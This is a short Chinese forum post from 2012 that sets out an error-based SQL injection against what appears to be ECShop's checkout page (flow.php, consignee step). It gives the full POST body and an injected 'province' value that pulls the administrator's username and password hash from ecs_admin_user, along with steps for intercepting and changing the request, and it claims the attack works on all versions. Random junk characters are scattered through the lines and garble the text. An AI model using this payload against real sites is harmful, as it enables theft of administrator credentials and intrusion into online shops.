感谢欠杀的黑盒+ v3 e; t {. u. A5 p! b2 ~! V7 H" |
. m1 `8 L" ?$ l$ }, m6 N% V / v6 g7 l. R7 I3 V
把任意商品加入购物车在填写配送地址那一页，有地区选择1 _7 l% l% _) L, b- } m
: b) F+ x9 H Dflow.php?step=consignee&direct_shopping=1
; k: w y; u% [* b9 Y& z比如省选择安徽
% ^$ W$ Q9 X) y2 `: X, k
+ \7 _! y4 m6 \ Y& u其中POST数据如下
v, B5 J9 l2 u. o 3 ]& S8 o* X# M3 k! k; u2 D
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
$ F/ l* C; B, C; b D! s改成% y$ T& q( h( R- U8 j, G6 H9 ^6 Z% I
; H; p. c& m( {" D! y; J. i
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
5 z0 Z! y6 U G* _& gps：详细的方法，用火狐tamper data插件……..即可改post内容…..2 |0 Z- ]/ N0 T8 v
9 r# |) B. z$ e; w+ b1 ~先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
& }( f) e' }2 i+ a0 G
+ ]4 b0 I' y- J5 N3 E+ q g就会回显错误页面了。。。。$ v/ p+ s4 @5 y m& \
7 ^3 Q. p7 V/ ~2 C8 c' h. r
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
0 C! J6 B0 l# t# F( W |
发表于 2012-12-31 09:19:27
收藏
支持
反对